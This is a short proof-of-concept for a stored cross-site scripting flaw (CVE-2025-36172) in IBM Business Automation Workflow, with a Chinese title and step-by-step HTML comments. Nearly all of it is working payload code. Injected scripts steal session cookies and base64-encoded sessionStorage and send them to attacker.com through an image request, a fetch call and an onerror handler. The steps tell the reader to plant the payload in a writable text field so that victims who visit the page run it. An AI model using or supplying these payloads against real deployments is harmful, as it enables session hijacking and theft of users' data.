CVE-2025-36172 IBM Business Automation Workflow存储型XSS漏洞

<!-- CVE-2025-36172 Stored XSS PoC --> <!-- This PoC demonstrates the stored XSS vulnerability in IBM Business Automation Workflow --> <!-- Target: IBM Cloud Pak for Business Automation / Business Automation Workflow --> <!-- Step 1: Identify a text input field in the application (e.g., user profile, notes, description) --> <!-- Step 2: Inject the following payload in the identified field --> <script> // Steal session cookies document.write('<img src="https://attacker.com/log?cookie=' + document.cookie + '"/>'); // Or perform actions on behalf of the user // Fetch internal data and exfiltrate fetch('https://attacker.com/exfil?data=' + btoa(JSON.stringify(sessionStorage))); </script> <!-- Alternative payload using event handlers --> <img src=x onerror="fetch('https://attacker.com/log?data='+document.cookie)"> <!-- For demonstration purposes - actual exploitation requires: --> <!-- 1. Valid low-privilege credentials --> <!-- 2. Access to a writeable text field --> <!-- 3. Victim visits the page containing the malicious script -->